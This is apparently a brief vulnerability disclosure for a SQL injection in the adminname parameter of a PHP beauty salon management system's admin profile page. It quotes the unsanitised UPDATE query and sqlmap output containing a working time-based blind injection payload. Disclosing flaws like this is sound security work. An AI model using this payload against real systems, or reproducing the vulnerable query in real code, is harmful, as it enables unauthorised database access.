

SQL injection vulnerability exists in adminname parameter of /admin/admin-profile.php file of Beauty Salon Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```
11 $aname=$_POST['adminname'];
12 $mobno=$_POST['contactnumber'];
13
14 $query=mysqli_query($con, "update tbladmin set AdminName = '$aname', MobileNumber = '$mobno' where ID = '$adminid'");
15 if ($query) {
16     $msg="Admin profile has been updated.";
17 }
18
```

```
sqlmap identified the following injection point(s) with a total of 270 HTTP(s) requests:
Parameter: adminname (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 RLIKE time-based blind
Payload: adminname=test' RLIKE SLEEP(5) AND 'zQeh'='zQeh&contactnumber=0&email=test@gmail.com&submit=&username=admin
```

“

---

Parameter: adminname (POST)

Type: time-based blind

Title: MySQL >= 5.0.12 RLIKE time-based blind

Payload: adminname=test' RLIKE SLEEP(5) AND

'zQeh'='zQeh&contactnumber=0&email=test@gmail.com&submit=&username=admin

---

“

Source Download:

<https://www.campcodes.com/projects/beauty-salon-management-system-in-php-and-mysqli/>